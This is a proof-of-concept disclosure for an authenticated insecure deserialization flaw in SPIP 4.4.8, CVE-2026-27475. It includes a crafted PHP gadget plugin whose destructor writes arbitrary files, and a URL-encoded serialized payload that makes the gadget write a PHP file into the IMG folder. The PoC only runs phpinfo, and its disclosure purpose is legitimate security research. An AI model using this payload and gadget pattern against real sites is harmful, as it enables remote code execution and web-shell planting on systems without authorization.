SPIP 4.4.8 Insecure Deserialization

# CVE-2026-27475 (CVSS-B 9.2 CRITICAL)
    
    ## Authenticated Insecure Deserialization in SPIP 4.4.8
    
    \> Explanations and more on my [website](https://trachinus.fr) <
    
    ## PoC
    In order to trigger an RCE, you need a vulnerable plugin. I crafted a quick one. 
    
    1. Create these files :
    `plugins/rce_gadget/paquet.xml`
    ```xml
    <paquet
        prefix="rce_gadget"
        categorie="outil"
        version="1.0.0"
        etat="test"
        compatibilite="[4.0.0;4.*.*]"
    >
        <nom>RCE Gadget</nom>
        <auteur>Attacker</auteur>
    </paquet>
    ```
    
    `plugins/rce_gadget/rce_gadget_options.php`
    ```php
    <?php
    class ExploitGadget {
        public $file;
        public $data;
        public function __destruct() {
            echo "<pre>DEBUG:\n";
            echo "File: "; var_dump($this->file);
            echo "Data: "; var_dump($this->data);
            echo "</pre>";
            file_put_contents($this->file, $this->data);
            die("PROOF");
        }
    }
    ```
    
    2. Connect as administrator
    
    3. Visit this URL : `/spip.php?page=prive/formulaires/selecteur/lister&objets[afficher]=a%3A1%3A%7Bi%3A0%3BO%3A13%3A%22ExploitGadget%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22IMG%2Frce.php%22%3Bs%3A4%3A%22data%22%3BS%3A19%3A%22%5C3c%5C3f%5C70%5C68%5C70%5C20%5C70%5C68%5C70%5C69%5C6e%5C66%5C6f%5C28%5C29%5C3b%5C20%5C3f%5C3e%22%3B%7D%7D&var_mode=recalcul&objets[selectionner][]=a`.
    
    The payload decodes to : `a:1:{i:0;O:13:"ExploitGadget":2:{s:4:"file";s:11:"IMG/rce.php";s:4:"data";S:19:"<?php phpinfo(); ?>";}}`. The encoding prevents encoding errors and ensures `unserialize` perfectly works.
    
    4. A file `rce.php` should then be created in the `IMG` folder. You can visit `/IMG/rce.php` and see the result of `phpinfo`.